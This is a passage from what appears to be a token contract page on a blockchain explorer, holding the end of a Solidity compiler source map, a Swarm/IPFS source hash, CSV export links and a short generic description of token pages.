-;27989:25;;28028:20;28046:1;28028:20;:::i;:::-;28023:25;;28067:1;28057:35;;28072:18;;:::i;:::-;28057:35;28113:1;28110;28106:9;28101:14;;27945:176;;;;:::o;28127:173::-;28267:25;28263:1;28255:6;28251:14;28244:49;28127:173;:::o;28306:366::-;28448:3;28469:67;28533:2;28528:3;28469:67;:::i;:::-;28462:74;;28545:93;28634:3;28545:93;:::i;:::-;28663:2;28658:3;28654:12;28647:19;;28306:366;;;:::o;28678:419::-;28844:4;28882:2;28871:9;28867:18;28859:26;;28931:9;28925:4;28921:20;28917:1;28906:9;28902:17;28895:47;28959:131;29085:4;28959:131;:::i;:::-;28951:139;;28678:419;;;:::o;29127:874::-;29230:3;29267:5;29261:12;29296:36;29322:9;29296:36;:::i;:::-;29348:89;29430:6;29425:3;29348:89;:::i;:::-;29341:96;;29468:1;29457:9;29453:17;29484:1;29479:166;;;;29659:1;29654:341;;;;29446:549;;29479:166;29563:4;29559:9;29548;29544:25;29539:3;29532:38;29625:6;29618:14;29611:22;29603:6;29599:35;29594:3;29590:45;29583:52;;29479:166;;29654:341;29721:38;29753:5;29721:38;:::i;:::-;29781:1;29795:154;29809:6;29806:1;29803:13;29795:154;;;29883:7;29877:14;29873:1;29868:3;29864:11;29857:35;29933:1;29924:7;29920:15;29909:26;;29831:4;29828:1;29824:12;29819:17;;29795:154;;;29978:6;29973:3;29969:16;29962:23;;29661:334;;29446:549;;29234:767;;29127:874;;;;:::o;30007:269::-;30136:3;30158:92;30246:3;30237:6;30158:92;:::i;:::-;30151:99;;30267:3;30260:10;;30007:269;;;;:::o

Swarm Source

ipfs://6a2f4315baec74d2f45f10f89ebe86ee8744190395651d8d8e651665ebb18459
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.